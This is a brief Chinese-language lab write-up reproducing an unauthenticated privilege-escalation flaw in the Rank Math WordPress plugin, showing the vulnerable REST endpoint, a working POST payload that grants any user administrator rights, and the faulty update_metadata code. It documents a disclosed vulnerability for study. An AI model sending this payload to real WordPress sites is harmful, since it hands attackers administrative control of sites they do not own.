前言
Defiant的Wordfence威胁情报团队在一个不受保护的REST-API端点中发现了Rank Math特权升级漏洞。
根据Defiant QA工程师Ram Gall的说法,成功利用此漏洞“使未经身份验证的攻击者可以更新任意元数据,其中包括为站点上任何注册用户授予或撤消管理特权的能力。
复现
首先手动搭建环境
1 | rank math 插件<=1.0.41.1版本 |
1 |
|
插件安装好即可
如图所示,创建一个新用户,用于测试。
为检验用,查询数据库中的用户信息
然后我们查看wp-json
,看看API的接口信息。
从api中可以看到修改元数据的接口,请求方式为POST
然后URL为
1 | http://127.0.0.1/wp-json/rankmath/v1/updateMetaBulk |
payload:
1 | objectID=2&objectType=user&meta[wp_user_level]=10&meta[wp_capabilities][administrator]=1 |
(PS:后来重新弄了个test2,道理是一样的)
成功重写
漏洞代码
1 | \wp-content\plugins\seo-by-rank-math\includes\rest\class-admin.php中的update_metadata |
其中meta的数据对应数据库中的键名,我们根据该键名,去添加我们所需要修改的数据,然后update_metadata
带入数据库修改元数据。
总结
好饿……